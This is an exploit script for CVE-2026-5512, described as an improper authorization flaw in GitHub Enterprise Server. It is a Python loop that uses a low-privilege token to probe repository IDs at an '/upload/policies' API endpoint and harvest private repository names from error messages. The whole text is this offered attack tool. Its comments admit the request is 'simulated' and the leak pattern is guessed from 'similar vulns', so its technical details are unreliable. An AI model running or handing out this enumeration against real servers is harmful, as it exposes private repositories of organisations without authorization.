CVE-2026-5512 GitHub Enterprise Server 授权不当漏洞

import requests # Target GitHub Enterprise Server URL TARGET_URL = "https://your-ghe-server.com" # Attacker's authenticated token (Low privilege required) AUTH_TOKEN = "ghp_YOUR_AUTH_TOKEN" # Headers for the request headers = { "Authorization": f"token {AUTH_TOKEN}", "Accept": "application/vnd.github.v3+json" } def enumerate_private_repos(start_id, end_id): """ Exploit: Enumerate private repository names by ID. The vulnerable endpoint leaks the repo name in the error message. """ print(f"[*] Starting scan from ID {start_id} to {end_id}...") for repo_id in range(start_id, end_id + 1): # The specific vulnerable endpoint mentioned in the advisory # is related to mobile upload policies. # We simulate a request that triggers the validation error. url = f"{TARGET_URL}/api/v3/repos/{repo_id}/upload/policies" try: response = requests.get(url, headers=headers, timeout=5) # Check if response contains leaked repository name in error if response.status_code == 403 or response.status_code == 404: response_json = response.json() # The key 'message' often contains the leak in similar vulns message = response_json.get('message', '') # If the message contains a repository name pattern, print it if "repository" in message.lower() and "not found" not in message.lower(): print(f"[+] Leak found for ID {repo_id}: {message}") # Further parsing logic to extract exact name can be added here except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") if __name__ == "__main__": # Example range to scan enumerate_private_repos(1, 1000)